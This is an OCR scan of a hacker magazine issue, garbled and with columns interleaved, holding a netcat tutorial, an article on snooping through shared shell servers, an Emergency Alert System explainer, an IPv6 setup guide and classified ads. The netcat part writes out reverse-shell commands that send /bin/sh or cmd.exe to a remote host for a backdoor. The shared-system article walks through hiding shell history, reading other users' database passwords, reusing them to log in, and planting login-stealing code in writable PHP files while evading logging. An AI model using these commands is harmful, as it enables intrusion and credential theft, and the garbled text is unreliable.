n c  - w3 12 7 . 0 . 0 . 1  2112 < Sampl e . jpg 

Receiver 
nc -1 -p port > fil e 

The - l li sten mode for i n coming  con nections ; ­
p port n u m ber; > redi rect to fi le 
n c  - 1  -p 2112 > help . txt 

n c  -1 -p 2112 > Sampl e . jpg 

Shovel the Shell 
To wrap up, I have i n cluded the most i nterest­

i n g  use of netcat, i n  my h u m b le opi n ion .  H ere we 
wi ll be usi n g  netcat to shovel the  she ll (command  
p rompt) from one  mach ine to  a nother. This h a s  
been u sed  and  most li kely i s  i n  u se  right  now, 
where one  ca n acqui re a backdoor  i nto a comp ro-

mised system .  Two examp les a re li sted below. 
Target Machine 

nc -e pa t h - t o -program [ h os t ]  [port ] 

The -e is the  p rogram to execute once a con­
nection  is  estab li shed .  

The fo llowi ng  i s  a * nix style : 
nc -e /bi n /sh 10 . 10 . 10 . 6 9  2112 

The fo llowi n g  is a Wi ndows style: 
n c . exe -e cmd . exe 10 . 10 . 10 . 6 9  2112 

Attack Machine 
nc -vv -1 -p port 

The -vv option  i n dicates that netcat is run­
ni ng  i n  very verbose mode;  - l li sten mode fo r i n ­
coming con nections ;  -p po r t  n u mber. 

Sta rt a li stener, pick a port a llowed through 
the  fi rewa ll: 
n c  - vv - 1  -p 2112 

l i s t e n i n g  on [ any] 2112 . . .  

connect t o  [ 10 . 10 . 10 . 6 9 ]  from www . exam 

"pl e . com [ 10 . 10 . 10 . 6 9 ]  5 4 8  

Microsoft Windows 2000 [ Version 5 . 00 . 2195 ]  

( C )  Copyri gh t 19 8 5 - 2 0 0 0  Mi crosoft Corp . 

C : l i n e tpub l scripts> 

Note, you may need to hit enter a few ti mes . . .  
a n d  bang ,  you have a shell p rompt on  t h e  remote 
system .  

Fi n a l  Words 
In closi n g ,  we have seen the  power of the net­

cat tool. You a re encouraged to test its ab i lities 
on  you r  loca l system ( 127.0 .0 . 1 )  as it wi ll work. 
Fo r mo re info rmation ,  check out the fo llowi n g  
li n ks :  

http ://www.zora n . netjwm_resou rces/net 
.. cat_hobbit. asp (used as a reference) 

http ://www.secu rityfocus . com/tools/137  
.. (down load site) 

Shout Outs: REL, DM, JM, KW, SW, and PF (the 
band).  

T h e  V C D s  f ro m  

a re n o 'N a va i l a b l e  
They consist of all of the talks which too k  place i n  the two main tracks of the conference, 

which occu rred in J u Ly 2004. There are 78 discs in totaL!  We can't possi bLy fit all of the 

titles here but we can tell you that you can get them for $ 5  each or $ 200 for the Lot. M uch 

more i nfo can be found on our website (www. 2 600.com) where you can also down load all 

of the a udio from the conference. If you want to buy any of the VCDs, you can send a 

check or money order to 2 600, PO Box 7 5 2 ,  MiddLe Island,  NY 11953 USA or buy them 

onLine using your credit card at store.2 600.com.  
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Potential Vulnerabilities 
in S ha red Systems 

by st4 r_r u n n e r  
Havi ng  a sheLL account  on  a s ha red system is  

convenient, fun ,  and dangerous .  A Lot of web­
h osti n g  services p rovide  s heLL access and some 
ISPs offer sh eLL accounts on  thei r  Li n ux/U nix 
boxes . If you ' re Lucky enough  to have one  you 
s hou Ld be  aware of the  potenti a L  fo r i nfo rmation  
Lea kage and  p rotect you rseLf on  these systems .  
Let's demonstrate how to ha rvest some info .  
Fi rst, p repa re you r  envi ro nment to  avoid Leavi n g  
a te llta Le trai L: 
rm -I . bash_h i s t ory 

then 
I n  - s  Idevln u l l  -I . bash_ h i s t ory 

If it's not a bash shell then do  the  same fo r 
the  . sh_hi story or whatever the  case may be .  
Now Let's see what we have for user di rectories :  
I s  - a l  Ihome 

You' l l  p robabLy get permission  denied .  No  
p rob Lem : 
ca t le tclpasswd 

shou Ld s how you a LL the  user di recto ries a ny­
way. What's in thei r  di rectories? Hopefu LLy 
I s  - a l  Ihomelusername 

won 't work ( but you never know) . So where 
ca n you go from there? See if perhaps thei r  . bash  
fi les a re readab Le .  
I s  - 1 Ihomelusernamel . bash_hi s t ory 

I s  - 1  Ihomelusername l . bash_pronl e 

I s  -1 Ih omelusernamel . bashrc 

Are any of those readab Le ( rw-r--r--)? Ta ke a 
Loo k  at them.  They may s how some i nteresti n g  i n ­
formation .  Now here 's where it can get i nterest­
i n g .  Most sheLL servers wi LL have a web server 
avai lab Le for s ha ri n g  out a persona L  web page.  
This di recto ry wi LL Li keLy be  -/PubLicHtmL  (you 
s hou Ld have the  sa me  di recto ry) . But if you want 
to be  sure then 
grep UserDir h t tpd . con f 

httpd . conf can be Located i n  different p Laces 
dependi ng  on the i n sta LLati on .  Some common  Lo­
cations  a re /etc/httpd ,  /etc/apache,  /usr/ 
- Loca L/apache/conf, or /va r/www/conf or do .  
ps ax I grep h t tpd 

and  it might show you the fu LL command  Li n e  
(jusr/sbi n/httpd -f /etc/httpd/httpd . conf) .  Once 
you know the U serDi r, g uess what? That di rectory 
is  worLd readab Le.  Big dea L, ri g ht? WeLL ta ke the  
ti me  to poke a Little fu rther. Users a re noto rious  

for stori n g  sensitive i nformation  i n  those di recto­
ries. They thi n k  that j ust because they don 't p ro­
vide  a Li n k  for that fi Le o r  di rectory on thei r  Little 
web page means  that no can get to it. Users wi LL 
put th ings  Li ke "ban k-i nfo .xLs"  o r  " pi c-of-wife-no­
one-shou Ld-see.j pg "  or  "myfavband .mp3 " .  What 
eLse cou Ld we do? Let's see.  A h ,  t he  user is run­
n ing  P H P-Nuke o r  some other  p h p/mysq L  based 
portaL and they have a nice confi g . p h p  fi Le. 
I s  -1 Ih omelusernamelwwwl * . php 

You 'd  be surprised at how many users make 
their  database password the  sam e  as thei r  Logi n 
password to that system .  
vi Ih omelusernamelwwwlconng . php 

H m m  . . .  d buname=username  a nd  d bpass=my­
secretpw. O K. So now I own thei r  database .  But I 
wonder  if they wouLd be d umb  enough  to have 
that sa me  password for this system .  
5sh - 1  u sername localhost 

J ust do  it from Loca Lhost, not you r  home  sys­
tem (if the user or  sysadmin  runs the " Last" com­
mand it wi LL revea L your IP add ress ) .  If the  Logi n 
is unsuccessfu L, don 't worry. There may be more 
to Loo k  at sti Ll. 

H ow about writab Le fi les a nd  di rectories? 
nnd Ih omelusern amelwww -perm 0 7 7 7  -prin t  

nnd Ih omelusernamelwww -perm 0 6 6 6  -prin t  

PLay a round  with permission  modes .  6 o r  7 i n  
the  Last position  i s  what you ' re Looki n g  for. I f  a 
user has a writab Le di rectory then you can put 
your own fi les i n  there.  If a user has  a writab Le 
fi le Li ke a p h p  then you ca n put you r  own spywa re 
i nto the  code to Let you know when users access 
the page or if it has a Login form you ca n write 
code in there to write the user name  a n d  pass­
word to a fi le for you to collect Later on. What­
ever. 

Now be ca refu L of what you do .  You a re not a L­
Lowed to vi o late someone 's  p rivacy or destroy 
thei r  content. Some Li n ux admi nistrators have 
gotten smart a n d  used g rsecurity's patches to Log 
a LL exec's from users so they ca n be a Le rted if 
some user is  ru n ni n g  "fi n d  / -perm 0777 " .  You 
wi ll get caug ht. So make sure that you stay under  
the  radar. Fi n d  out if the system i s  a grsecurity 
kernel. 
un ame - a  

WeLL ,  have fun poki n g  a round  but don 't do  
a nythi n g  stupi d .  

S P r i n 9 i! 0 0 5 ---------------------- P a g e  5 3  





. .... s i c:l e t h e  

Emer�ency Alert �ystem 
b y  To kachu 

The Emergency Alert System ,  com m o n ly ca lled 
EAS, o rig inates from the FCC-mandated Emer­
gency B roadcast System (formerly known as 
Conelrad ) ,  which was nothi n g  more than  a long  
m u ltifrequency tone  generator a nd  detector. Be­
fore the  Ken nedy Administrati on ,  such sig na ls 
were o n ly accessib le for majo r  netwo rks and  by 
the  early 1990s the system was s howi ng  its age .  
Some cab le companies  resorted to bui ldi n g  thei r  
own  un ique a lert systems usi n g  o ld phone  equip­
ment because the  30 yea r o ld system was, quite 
litera lly, fa lli n g  apa rt. In 1994, after th ree yea rs 
of resea rch and  development. the FCC i ntroduced 
what is  now the modern EAS, and i n  1997 the  
system was made mandatory. 

N etwo r k  topo Logy 
The o rigi n a l  EBS worked i n  a daisy-chain fash ­

ion ,  where the  authoriti es wou ld notify one  radio 
stati on ,  that radio station  wou ld notify another  
stati o n ,  a nd  so fo rth . The EAS works i n  a h iera r­
chica l  manner, where the  n otifyi ng  pa rty (dvi l  
authorities ,  t h e  Nationa l  Weather  Service, o r  law 
enfo rcement) notify the la rgest station  in the  
a rea . From there, other  sma ller radio stations  ac­
tua lly have a receiver hooked up to the EAS en­
coder/decoder (the "endec") that listen s  for the  
big radio station ,  a nd  the  endec wi ll cut  i nto the  
radio station ' s  signa l  to  tran smit at least th ree 
bu rsts of data a long with the attention  sig na l. 

Data Fo rmat 
I'll be b ri ef in the data format: it's FSK-en­

coded (one  tone  i s  a ma rk,  o r  "1"  i n  bi na ry, a nd  
a nother  tone  is  a space, o r  " 0 " ) ,  which limits its 
transmission  speed to a bout 1200 bps .  H owever, 
it operates at a very stra nge  baud :  520 .83  bps ,  o r  
one  b i t  every 1 . 9 2  mi lli seconds .  The space fre­
quency is the bitrate m u lti p lied by th ree (exactly 
1 562 . 5  Hz ) ,  a nd  the  mark frequency is the  bitrate 
m u lti p lied by fou r  (approximately 2083 . 3  Hz ) .  
Each  byte i s  a regu la r  eight  b i t  byte contai n i ng  
ASCII data ( the  most sig nificant byte is  i gnored 
when receivi ng  the data format) , so it's very easy 
to modu late data . 

The h eader consists of 16 bytes with bi na ry 
value " 10101011 " .  As the  bitrate a nd  tra nsmis­
sion  p rotoco ls a re constant, there is  no  need 
to tra nsmit bitrate ca li b ration  sig n a ls or 
ma rk/space i nformation .  H ere i s  a samp le 

transmissi on ,  p reserved i n  eig ht bit format: 
- - - - - - - - - - - - - - - - zCZC- WXR-HUW- 0 3 718 3 +0 3 0 0  

- - 0 6 6183 0 - WXYZ/FM -

The sixteen fun ny symbo ls at the  begi n ni n g  i s  
the  16 byte h eader, a long with a nother  fou r  byte 
header of "ZCZC" to i ndicate ASCII data . "WXR" is  
the n otifyi ng  pa rty (the Nationa l  Weather  Ser­
vice, fo r this examp le ) .  " H UW" is the  m essage 
code ( " H u rricane  Wa rni ng " ) ,  and "037183"  is  the 
affected a rea,  n oted i n  undashed FIPS 6-4 for­
mat. The fi rst digit is the region ,  which is usua lly 
set to "Nationwide"  (0)  and  i gno red;  the  second  
a nd  th i rd digits n ote the state (No rth Caroli n a ) ,  
a nd  the  last th ree digits a re the  county n u m ber 
(Wake County) . To sto re more than  one  location ,  
the  fo rmat might  look  li ke "######­
######+" ,  with each "######-" bei n g  a six 
digit location  code a nd  with the last code endi ng  
with a p lus rather  t h an  a m i nu s  sym bol .  T he  fou r  
digits after the  p lus symbol  rep resent the  length 
of ti me  the  a lert i s  effective for (exactly th ree 
hours in this examp le) . For the next seven digits, 
the first th ree a re a J u lian-fo rmatted date ( "066"  
means the  66th day of the  yea r, o r  May 7th in  
2005 ) .  The last  fou r  digits a re the  sta rti n g  time  
( 6 : 30  p m ) .  T h e  next eig ht characters ho ld the  call 
sig n  of the radio station  sendi ng  out the a lert. It 
is space-padded at the  end ,  a nd  any dashes i n  
t h e  call sign  a re rep laced with s la shes .  T h e  mes­
sage ends with a si ng le das h .  

What i s  n o t  s hown here i s  t h e  two-tone  si gna l  
o f  853  Hz  a nd  960 Hz ,  which m ust be emitted for 
at least eight  seconds  after the  data is sent at 
least th ree ti mes .  From there ,  data with 
,, - - - - , , , , , , , , , , , ' N N N N "  tra nsmitted exactly 
th ree ti mes acts as the signa l  for the  end  of the  
tra nsmissi on ,  For some rea lly detai led i nforma­
tio n ,  you shou ld read document FCC 47 CFR 11 ,  
avai la b le on  { http://fcc.gov } . 

Security 
I'm su re you ' re thi n ki ng  someth ing  a long  the 

li n es of " if  there's n othi ng  to authenticate or  en­
crypt the i nformation ,  what 's  keepi n g  people 
from b reaki n g  i nto machi nes a nd  sendi ng  fa ke 
sig na ls?"  Well, there's a few thi ngs  you shou ld 
know. Fi rst, most radio stations  have a live per­
son to confi rm whether or not to fo rwa rd any 
message received , Second ,  these machi nes a re 
not hooked u p  li ke computers; they're p laced 
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a lo ngside  tran smission  equi pment, a n d  a re not 
hooked up to any netwo rk or externa l  computer 
(with the exception  of vi deo crawls in television  
stations ,  but those  sti ll requi re manua l  interven­
tion  to  functi o n ) .  I can  tell you  that  every time  I 
hear  that little "duck quack . "  I do fli p out, but 
even though  I have a lega l  ob ligation  to forwa rd 
the m essage, I can call the radio station  after­
wards to confi rm it ( and  if it's fa ke, I can b reak 
back i nto the  radio ci rcuit to let people know) . 

B ut let's say you happen to get i nto the radio 
station  a n d  get p hysica l access to the mach ine  
(wh ich  you won 't) or  happen to somehow brea k 
into the  remote tra nsmissi on  faci lities to inter­
rupt the  audio and  use your own EAS endec 
(which you p robab ly won 't) . The FCC can fi nd  you 
easi ly because you 'd have to be very close o r  i n­
side  the  radio station  to pu ll such a task off. You 
wou ld then be p rosecuted a n d  you r  message 
might n ot even be  forwa rded ! The only vulnera­
bi lity I can fi n d  i s  the fact that the FCC mandates 
that there be either a weekly or month ly test of 
the EAS endec. U nfortunately, that means  that a 
rogue  attacker cou ld vety likely be ab le to i nject a 
test sig na l  i nto a cab le televis ion netwo rk, which 
wou ld n ot o n ly i nterrupt one stati on ,  but every 

by G r@ve_Rose 
He llo everyone .  Si nce my last a rti cle touched 

upon a n  i ntroduction to the IPv6 p rotoco l, I 
thought a nice fo llow-up a rti cle on how to con­
figu re you r  network wou ld be  benefici a l  a n d  
s ome  fun practice. Without fu rthe r  adieu,  let's 
get down to busi ness .  

My N etwo rk 
As a poi nt of reference, here i s  a (very) basic 

overvi ew of my network at home .  Fra n ken server is 
my Li nux  gateway, server, and basic a ll-i n -one  
box runn ing  Red  H at E L3 a n d  Checkpoi nt FW-1 
NG FP4 R55  con nected to a 3 M b  PPPo E  con nec­
tio n .  My main  desktop PC is  Alice a n d  s he  runs  
Mand ra ke 10 .0  ( 2 . 6 . 3-7mdk  vani lla ) .  I have 
about five or six more computers but wi ll o n ly be 
focusi ng  on Fra n k  and  Alice.  

Tu n n e L  B ro ke r  
I 'm assuming  that  your  current ISP does  not 

offer native IPv6 con nections .  If it does, you can 

station  i n  that a rea . This ki n d  of message wou 
not resu lt i n  another "Wa r of the Worlds"  sce­
na rio ,  b ut wou ld sti l l resu lt i n  loss of revenue  by 
the television stations .  Then agai n ,  a test o n ly 
lasts a few min utes and  un less the attacker struck 
du ri n g  the Super Bowl com merci a l  b rea k, the 
losses wou ld be neg lig ib le .  I ' l l  keep the door  
locked , j ust i n  case  you get any ideas .  

Con clusi o n  
Whi le i t  i s  very easy to  make a signa l  genera­

tor for the EAS, there i s  n o  rea l use for it beyon d  
t h e  transmitter. If you ' re da ri ng ,  you cou ld mod­
ify a radio packet progra m  to use the frequenci es 
a n d  bitrate of the EAS to automati ca lly log emer­
gencies .  Radio Shack used to sell a radio scanne r  
that cou ld t une  i nto FM  stations  a nd  TV  aud io  
ca rriers a nd  decode EAS sig na ls for a bout $70  
some ti me  ago ,  a lthough  it m ight  be a bit more 
expensive nowadays. 

Nonetheless, unti l the EAS i s  completely i nte­
g rated i nto consumer app li ances such as cellu la r  
phones ,  there i s  nothin g  t o  wo rry about when it 
comes to "b rea ki n g  i nto" the system ,  a n d  with 
the FCC co llecti n g  com ments on  the next genera­
tion  of the EAS,  it wi ll probab ly be very sta b le 
a n d  very secure i n  the days to come .  

probab ly stop readi ng  here !  Fo r  the rest of  us ,  we  
n eed to  estab li sh  a n  IPv6 tunne l  with a tunne l  
b ro ker. Tunne l  bro ker's a re organizations  that wi ll 
a llocate you a network from thei r  subnet that you 
can use. Some of the ones out there i n clude H u r­
ricane  E lectric ( http ://ipv6tb . he . net) a n d  
H exago ( http ://www. hexago .com) as well as  
many others. I have used  both of the aforemen­
tioned but  wi ll focus on  Hexago as I have had  
good  servi ce with them . 

Swi ng  over to the H exago site and ,  at the top 
rig ht of the page,  se lect the "Get IPv6 i n  3 steps"  
li n k .  Go through the short registration  p rocess 
a n d  get the Li n ux TS P client at the end .  Save the 
TSP client on your border router ( Fra n k  for me)  
a nd  uncompress i t .  Install it with the com mand :  
"make target= li n ux i n sta lldi r=/usr/loca l/tspc i n  
-sta ll" which wi ll i n stall t h e  program i n  /usr/ 
-loca l/tspc. 
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Once you have i n sta lled the  TS P client, switch 
to /usr/loca ljtspc/bi n a n d  edit the tspc.conf fi le. 
H e re a re the main th ings  you wi ll n eed to have: 
t sp_ dir=/usrll oca l lt spc Location o f  the program 

a u th,_method=any Choose the b e s t  for u s  

c l i en t_ y4 = a l1 t o  Tnterface to p e e r  w i t h  ( external ) 

user id= - Username 

passwd= - Pas sword 

temp l a t e= l i n ux - U s i n g  Linux , right ? 

server=broker . freen e t 6 . n e t  - Used for logging i n  

retry_delay=3 0 - 30 second r e t r i e s  

tunnel_mode=v6anyv4 - L e a v e  t h i s  as it i s  

i f  t unnel v6v4 =s i t l  - Leave t h i s  as i t  i s  

i f_ t unnel_v6udpv4 =tun - Leave t h i s  as it i s  

proxy_ c l i e n t =n o  - W e  are not a proxy server 

keep a l i ve=yes - Always a good idea 

keepa l i ve_ i n t erva l = 3 0  - 30 second keepa l ive 

h o s t_ type=router - We are a router 

prefixl en = 4 8  - Obtain a / 4 8  subnet 

i f_prefix=e t h O  - Internal network card 

Once you have confi gu red this ,  save the  fi le 
a n d  run the command :  " ./tspc -f ./tspc .conf -wv" 
a n d  you shou ld see the tra nsaction  take p lace. 
Any error messages you see if it fai ls a re most 
li kely i n  the H exago FAQ pages.  Check there fo r 
mo re h elp. Run a n  "ifconfig  -a "  a nd  you shou ld 
now see you r  sitl inte rface with a /128 subnet 
(ou r  tun ne li ng  mechan ism)  a nd  ethO shou ld now 
have a global-unicast IP  add ress sta rti n g  with 
2001 :  with a /48 subnet. 

C lient  Confi g u rati o n  
H ead on  over to  you r  desktop PC  (Alice,  i n  my  

case) a nd ,  i f  you ' re runn ing  a kernel p re-2 . 6 ,  r u n  
" i n smod  i pv6" to  i n stall the IPv6 modu le .  Wait fo r 
a few moments and  then run a n  "ifconfig  -a "  a n d  
you r  ethernet adapter s hou ld n ow  have its own 
g loba l-unicast ( 2001 : )  IP add ress. H ow did this 
happen? Well, the TS P client a lso works as 
radv(d) which wi ll advertise IP add resses fo r con­
fig u ration .  Cool ,  eh?  

Now, let's add  DNS  reso luti on .  Tech nica lly, 
any DNS  server can give you an A6 record (dig -t 
AAAA servername .com)  but we want to make su re 
of this .  Open /etc/reso lv. conf a n d  add  the fo llow­
i n g  to the  top :  
opt i ons i n e t 6  

nameserver 2 0 0 1 : 23 8 : : 1  

Yes ,  that is a va li d  IPv6 nameserver (at the  
tim e  of  th i s  writi n g ) .  Once this i s  done ,  we shou ld 
move on to the secu rity portion  . . . .  

Security Considerati o n s  
This is  where thi ngs  get tricky. I 'm  ru nn ing  

Checkpoint Fi rewa ll-l a nd ,  a lthough  it does  sup­
po rt IPv6, not a ll featu res a re avai lab le yet. As 
such , I have had to make some modifi cations  to 
both Alice and Fra n k. 

Fi rst off, I had  to a llow the H exago IPv4 
server to access Fra n k's IPv4 un restricted to a llow 

for diffe rent ports which may be used in the 
60ver4 tun nel. Because of this ,  I perfo rmed a se­
cu rity audit o n  Fra n k  to ensure that the o n ly ser­
vices li sten ing  a re the ones I want to have 
runni ng .  (This is  good p ractice a nyway. )  Right  
now, o n ly HTIP(S) a nd  SSH a re li steni n g  on  IPv6 . 

Second ,  a lthough  Checkpoint does support 
IPv6 , it cur rently struggles with statefu l i n spec­
tion of tunne led traffi c fo r IPv4 a n d  IPv6 . This 
means  that a nyone  can access any of the g loba l­
un icast IP add resses I've been assigned .  In lay­
man 's terms,  Alice's IPv6 is unp rotected .  A quick 
" netstat -na I g rep \ :\ : "  revea led o n ly SSH lis 
.. teni ng  on : : : 2 2 .  Hacki n g  /etc/ss h/sshd_confi g  
a n d  cha ngi n g  the ListenPo rts to : : 1  and  
172 . 17. 2 . 2 ,  fo llowed by  a "service sshd  resta rt" 
worked p roper ly. Now the o n ly service on Ali ce 
listeni ng  on IPv6 is SSH listeni ng  on t he  loop­
back i nterface o n ly. 

Lastly, I c reated my IPv6 objects with in the 
Sma rtDashboard of Checkpoi nt ( [6 ] -Alice_v6 
.._host_node,  [ 6 ] - Fra n k_ethO_host_node,  [ 6 ] ­
Fra n k_sitl_hosCnode and  [= I - ] -Interna l_ 
"v6_network) a nd  a llowed my Interna l_v6_net 
.. work out without li mitati on .  

Testi n g  
If everythi n g  has  g one  correctly, y ou  s hou ld 

be ab le to pi ng6  sites. Try " pi ng6  www. ka me . net .. 
which s hou ld retu rn from orange .  kame .  net. If 
DNS ,  doesn 't work, thei r  IP a dd ress i s :  
2001 : 200 :  0 :  800 2 :  203 :47 ff:fea 5 :  3 085 .  

How about websites? The best one  to test with 
is http ://www.i pv6 .b ieri n ger.de/ because you 
can only access it from an  IPv6-enab led mach ine .  
IPv4 b rowsi ng  wi ll retu rn a Bad Gateway error 
message. 

What's rea lly inte resti n g  to see a re the actua l  
packets goi n g  b a c k  a n d  fo rth . I suggest usi ng  
Eth erea l bu t  even tcpdump wi ll s how you  the  IPv4 
add resses fo llowed by the ( un ) encapsu lated IPv6 
add resses. Fun stuff! 

Con clusi o n  
I hope that  th i s  a rti cle has he lped you  on  

you r  way to  lea rni ng  mo re about IPv6 as well as 
how it fun ctions .  I have some docu ments floati n g  
a round  on the  web about IPv6 s o  if you  ca n track 
them down, they shou ld he lp you out as  well. 
Ta ke a look  at diffe rent websites out there and ,  
bund led with the  i n quisitive natu re I 'm  s u re you 
possess, you ' ll be flyi ng  v6-style i n  no  ti me !  

Shouts: ChlxOr, phoneboy, Bob Hinden, 
David Kessens, TACKanata, elligirl, anyone I may 
have missed, and of course, eXoDuS (YNBAB­
WARLf) 
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Happenings 
S U M M ERCON 2005 PRESENTS: T O O L S  O F  T H E  TRADE.  (orne one,  come a l l !  

Hackers, p h reakers, p h rackers, feds, 2600 shock troops, c o p s ,  "security profession­

als," U4EA. rOOt kids dub,  press, groupies, conference whores, kOd3rz, convicted 
felons,  concerned parents, and teachers! Hackers and beer coHide for the  Tech no­

calypse that the  prophets warned you about.  June 4-6 i n  Austi n ,  Texa s .  Omni 

Austin Hotel Downtown ,  700 San Jacinto at 8th Street, Austi n ,  IX 78701 For more 
i nformati o n ,  t-shirts, registration ,  a n d  much more: http://www. sum mercon.org .  

Pre-register now!  

CAROLINACON 2005. J u n e  10-12 at the Ralei g h  A meriSuites Hotel .  Admission 
$15. Confere n ce rate for the  hotel rooms avai labLe at carolinacon.org.  Speakers 
welcome.  

WHAT T H E  HACKl Times  have changed:  Terrori s m ,  metal detecto rs, specia l  new 

laws, a n d  our  leaders getti n g  ever closer to thei r  dream of Mknowi ng it a lL"  It's 

been a crazy almost four years since the last ti m e  a ll the tribes of the ha cker uni­
verse camped out i n  The Netherla n d s  at HAL2001.  High ti m e  to get togeth er, meet. 

reflect, show our projects, and discuss our ideas. No matter whether you're into 
figuring out what they're u p  to, doing something about it, or havi ng a good ti m e  
with some of t h e  s m a rtest a n d  funniest people we k n o w  o f ,  come to What T h e  

Hack,  J u ly 2 8 - 3 1 .  near Den Bosch,  The Netherla n d s .  F o r  more informati o n ,  visit 

http://whatthehack.org.  

INTERZO N E  GOES WEST! While the Atlanta InterzO ne stays hacker con.  

InterzOneWest wil l  be a more professi onal  style LT.  conference, carrying on i n  the 
tradition  of "effecting change through educati o n . "  Along with InterzOneWest, 
GRAYAREA - the non- traditiona l security academy - will b e  happening,  teaching 
methodologies a n d  s kills i n stead of test  a n swers! San  Francisco Bay Area i n  early 

October 2005. See i nterzOne.com or grayarea .info for the latest details. 

For Sale 
SPAMSHIRT.COM - take some spam a n d  put it  on a t-shirt. Now available i n  the 
U.S. !  www. s p a m s hirt.com. 
C H E C K  OUT J EA H . N ET for relia ble a n d  affordable Unix  s h ells. Beginners a n d  ad­

vanced users love J EAH 's  Unix s h ells for performance-driven u pti mes a n d  a huge 

li s t  of Virtual Hosts.  Yo ur  account lets you store data,  use IRC, SSH,  a n d  email  with 

complete privacy and security. J EA H  also offers fast and stable h osting  for your 

web site, plus the abi lity to register and manage your own domain name.  All at 

very competitive prices. Speci a l  for 2600 su bscribers: Mention 2600 a n d  receive 
setup fees waived. Look to www.jea h . net for the excepti onal service a n d attention 
you want. 

FREEDOM DOWNTIME O N  DVD! Years i n  the making but we hope it was worth the 

wait. A dou ble DVD set that includes the two hour documentary. a n  in-depth inter­

view with Kevin Mitnick, and nea rly three hours of extra scenes, lost footage, a n d  
miscella neous stuff. P l u s  captioning f o r  20 (that's right, 20) la nguages.  commen­
tary track,  a n d  a lot of th ings  you'll  just  have to find for yourself! The entire two 
disc set can be had by sending $30 to Freedo m  Downti m e  DVD. PO Box 7 5 2 ,  Middle 
Isla n d .  NY 1 1 9 5 3  USA or by ordering from our  onl ine store at 

http://store.2600.com.  (VHS copies of the film still available for $ 1 5 . )  

N ETWORKING A N D  SECU RITY PRODUCTS available at OvationTech n o logy.com. 

We're a Network Security a n d  Internet Privacy consulti ng f i rm and s u p p lier of net­

working ha rdware. Our online store features VPN a n d  firewall ha rdware. wireless 
ha rdware, cable and DSL modems/routers, I P  access devices. VoIP products, 
parental control products. and ethernet switches.  We pride ou rselves on providing 
the  h ighest level of tech nical expertise a n d  customer  satisfacti o n .  O u r  commitment 

to you . . .  No surprises!  Easy retu rns !  Buy with confidence! After all .  Security and 

Privacy is our  business !  Visit us  at http://www.Ovati o nTechn ology.com/store .htm.  
O N LI N E  S ERVICES. Web hosti n g .  cheap domains,  great  dedicated servers, SSl 

certs ,  a n d  a lot  more!  Check out www. Nob4.co m .  
H A C K E R  L O G O  T-S HIRTS A N D  STIC KERS. Those " i n  the know" recognize T h e  

Glider as  the  n e w  Hacker Logo. T-shi rts a n d  stickers e m b lazoned with the H a cker 

Logo can be fo u n d  at HackerLogo.com. Our products are top q u a lity. and will visu­

ally associate you as  a member of the hacker culture. A portion of the  proceeds go 
to support the  Electronic Frontier Foundati o n .  Visit us  at www. H a ckerLog o.com!  

P H RAIN E .  The technology without the noise  qua rterly would  l ike  to t h a n k  the 

2600 readers who have a lso become new su bscribers a n d  encourages those who 
have not ACK their  need for diverse computer i nformation i n  conj u nction with that 

of 2600 to dedicate some packets a n d  become a su bscriber today! Visit us a t  our  
new domain www. pearlyfreepress.com/ p h raine.  
HACKER T-SHIRTS A N D  STICKERS at JinxGear.co m .  Stop running  around naked!  

We've got new swa g a licious t-shirts. stickers. a n d  miscella neous contra band com­
ing  out monthly i n cluding your classic hacker/geek designs,  hot-s hort  panties, dog 
shi rts. a n d  a whole mess of kickass stickers. We a lso have LAN pa rty listi ngs,  
hacker conference listi n g s ,  message fo rums,  a p h oto ga llery, a n d  monthly con­

tests. H ell, d o n 't even buy. just  sign on the  mailing list and have a chance to win 
free stuff. O r  follow the easy i nstructi o n s  to get a free sticker. Get it all  at 

www.J inx .com!  

P H O N E  H O M E .  Tiny ,  sub-miniature, 7/10 ounce, progra m m a b le/reprogra m m a ble 
touch-tone, m u lti-frequency ( DTMF) dialer which can store u p  to 1 5  touch-tone 
digits. Unit  is  held against  the telephone receiver'S microphone for d ia li n g .  Press 
" H O M E "  to autom atically dial  the  stored digits which can then be heard through 

the  ultra miniature spea ker. Ideal for LT. 's,  children,  Alzhei mer  victi m s ,  lost 

dogs/chimps,  significant others, hackers, and computer wiza rds. Give one  to a 

boy/girl friend or to that  potenti a l  Hsomeone" you meet at a party, the supermar­

ket. school,  or the m a ll; with your pre-prog rammed telephone n u m ber. he/she will 

always be a b le to call  you! Also. ideal i f  you don't want to "disclose" your tele­

p h o n e  number  but want someone to be able to calt you locally or long distance by 

telephone.  Key ring/cli p .  limited qua ntity available. Money order o n ly. $24 .95  + 

$3.00 S/ H .  Mail  order to: P H O N E  H O M E ,  N i m rod Division,  331 N. New B a llas Road, 

Box 410802, CRe. Missouri 63141.  

LEARN LOCK PICKING It's EASY with our  book a n d  new video. The 2 n d  editi o n  

b o o k  adds  lots m o r e  interesti ng materi a l  a n d  i llustrations  while the  video i s  filled 

with computer graphic cutaway views. Learn what they don 't want you to know. 

Any security system can be beaten. many ti mes right through the front door. Learn 

the secrets a n d  wea kness of today's locks. If you want to get where you are not 

s u p posed to be, this book could be your  a n swer. Explore the empoweri ng world of 

lock picki n g .  Send twenty bucks for the book or vi deo to Sta ndard Publi cati o n s ,  PO 

Box 2 2 2 6 H O .  Champaign .  IL  61825 or visit us  at www.sta ndardpublications .com/ 

....direct/2600.html for your 2600 reader price discount. 

nLE TRACKING SOFTWARE: File Accountant(TM).  Windows XP a n d  later. Creates a 
list of files on your hard drive. Run it betore a n d  after i n stalli n g  new products 

a n d/or updates to discover which files a re added/chan ged/deleted . Pri n t  lists. 

Other features. More i nformati o n  at: 

http://abilitybusinesscomp uterservices.com/fa . h t m l  or fa.i nfo@abititybusiness 

....computerservices.com. 

SIZE DOES MATTER! The Twin Towers may be gone  forever but a detailed image 

sti l l  exists of the ma ssive 374-foot radio tower that was perched atop One World 
Trade Center. This high-quality glossy color poster i s  available i n  two sizes (16" x 

20" a n d  20" x 30") a n d  ma kes a spectacular gift for engineers. scientists, radio a n d  

television buffs. or a nybody who a p p reciates a u n i q u e ,  rarely s e e n  view of t h e  

World Trade Center. Visit www.wtc-poster.us f o r  s a m p les a n d  to order y o u r  own 

poster. 

CABLE TV DESCRAMB LERS. New. (2) $99  + $5.00 sh ipping ,  money order/ca s h  

o n ly. W o r k s  on a n a log or a n a log/digital cable systems. Premi u m  c h a n n els a n d  pos­

sibly PPV depending on system .  Complete with 110vac power s u p ply. Purchaser as­

sumes sale responsibility for notifyi ng cable operator of use of descram bler. 

Requires a cable TV converter (Le . •  Radio Shack)  to be used with the unit. Cable 

conn ects to the converter, then the descra m b ler, then the output goes to TV set 

